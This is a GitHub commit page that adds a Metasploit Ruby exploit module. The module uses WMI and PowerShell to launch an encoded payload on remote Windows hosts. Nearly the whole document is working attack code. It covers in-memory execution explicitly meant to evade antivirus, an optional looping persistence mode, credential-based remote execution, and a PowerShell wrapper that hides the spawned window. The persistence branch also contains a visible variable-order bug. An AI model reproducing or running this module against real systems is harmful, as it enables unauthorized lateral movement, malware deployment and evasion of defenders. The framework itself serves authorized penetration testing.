Skip to content

Commit c0af5b6

Browse files
committed
Land rapid7#6638, add local exploit module to execute payload w/ stealth
2 parents 18bafaa + e1ff37f commit c0af5b6

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/post/windows/powershell'
9+
require 'msf/core/post/windows/priv'
10+
require 'msf/core/exploit/powershell/dot_net'
11+
12+
class MetasploitModule < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
15+
include Msf::Post::Windows::Powershell
16+
include Msf::Exploit::Powershell::DotNet
17+
include Msf::Post::Windows::Priv
18+
19+
def initialize(info={})
20+
super(update_info(info,
21+
'Name' => "Authenticated WMI Exec via Powershell",
22+
'Description' => %q{
23+
This module uses WMI execution to launch a payload instance on a remote machine.
24+
In order to avoid AV detection, all execution is performed in memory via psh-net
25+
encoded payload. Persistence option can be set to keep the payload looping while
26+
a handler is present to receive it. By default the module runs as the current
27+
process owner. The module can be configured with credentials for the remote host
28+
with which to launch the process.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
32+
'DefaultOptions' =>
33+
{
34+
'EXITFUNC' => 'thread',
35+
},
36+
'Payload' => { 'Space' => 8192 },
37+
'Platform' => [ 'windows' ],
38+
'SessionTypes' => [ 'meterpreter' ],
39+
'Targets' => [ [ 'Universal', {} ] ],
40+
'DefaultTarget' => 0,
41+
'DisclosureDate'=> "Aug 19 2012"
42+
43+
))
44+
45+
register_options(
46+
[
47+
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
48+
OptString.new('USERNAME', [false, "Username to authenticate as"]),
49+
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
50+
OptString.new('DOMAIN', [false, "Domain or machine name"]),
51+
52+
], self.class)
53+
54+
register_advanced_options(
55+
[
56+
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
57+
OptBool.new('RunRemoteWow64', [
58+
false,
59+
'Execute powershell in 32bit compatibility mode, payloads need native arch',
60+
false
61+
]),
62+
63+
], self.class)
64+
65+
end
66+
67+
def build_script
68+
run_opts = {}
69+
run_opts[:username] = datastore['USERNAME']
70+
run_opts[:domain] = datastore['DOMAIN'] || '.'
71+
run_opts[:password] = datastore['PASSWORD']
72+
73+
# End of file marker
74+
eof = Rex::Text.rand_text_alpha(8)
75+
env_suffix = Rex::Text.rand_text_alpha(8)
76+
77+
# Create base64 encoded payload
78+
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
79+
if datastore['PowerShellPersist']
80+
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
81+
sleep_time = rand(5)+5
82+
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
83+
end
84+
psh_payload = compress_script(psh_payload_raw, eof)
85+
# WMI exec function - this is going into powershell.rb after pull 701 is commited
86+
script = ps_wmi_exec(run_opts)
87+
# Build WMI exec calls to every host into the script to reduce PS instances
88+
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
89+
# split the hosts into wow64 and native, and run each range separately
90+
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
91+
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
92+
93+
if datastore["RHOSTS"]
94+
# Iterate through our hosts list adding a call to the WMI wrapper for each.
95+
# This should learn to differentiate between hosts and call WOW64 as appropriate,
96+
# as well as putting the payload into a variable when many hosts are hit so the
97+
# uploaded script is not bloated since each encoded payload is bulky.
98+
99+
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
100+
if run_opts[:username] and run_opts[:password]
101+
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
102+
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
103+
else
104+
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
105+
end
106+
end
107+
else
108+
print_status('Running Locally')
109+
script = psh_payload_raw
110+
end
111+
return script
112+
end
113+
114+
def exploit
115+
# Make sure we meet the requirements before running the script
116+
unless have_powershell?
117+
fail_with(Failure::BadConfig, 'PowerShell not found')
118+
end
119+
120+
121+
# SYSTEM doesnt have credentials on remote hosts
122+
if is_system? and datastore['RHOSTS']
123+
print_error("Cannot run as local system on remote hosts")
124+
return 0
125+
end
126+
127+
script = build_script
128+
129+
if datastore['Powershell::Post::dry_run']
130+
print_good script
131+
return
132+
end
133+
134+
begin
135+
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
136+
print_good(psh_output)
137+
rescue Rex::TimeoutError => e
138+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
139+
end
140+
141+
vprint_good('PSH WMI exec is complete.')
142+
end
143+
144+
# Wrapper function for instantiating a WMI win32_process
145+
# class object in powershell.
146+
# Insantiates the [wmiclass] object and configures the scope
147+
# Sets impersonation level and injects credentials as needed
148+
# Configures application startup options to hide the newly
149+
# created window. Adds start-up check for remote proc.
150+
def ps_wmi_exec(opts = {})
151+
152+
ps_wrapper = <<EOS
153+
Function New-RemoteProcess {
154+
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
155+
$ErrorActionPreference="SilentlyContinue"
156+
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
157+
EOS
158+
if opts[:username] and opts[:password]
159+
ps_wrapper += <<EOS
160+
$proc.psbase.Scope.Options.userName = $login
161+
$proc.psbase.Scope.Options.Password = $pass
162+
EOS
163+
end
164+
ps_wrapper += <<EOS
165+
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
166+
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
167+
$startup = [wmiclass]"Win32_ProcessStartup"
168+
$startup.Properties['ShowWindow'].value=$False
169+
$remote = $proc.Create($cmd,'C:\\',$startup)
170+
if ($remote.returnvalue -eq 0) {
171+
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
172+
} else {
173+
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
174+
}
175+
}
176+
177+
EOS
178+
179+
return ps_wrapper
180+
end
181+
182+
end
183+
184+
185+
#
186+
# Ideally the methods to create WMI wrapper functions and their callers
187+
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
188+
#

0 commit comments

Comments
 (0)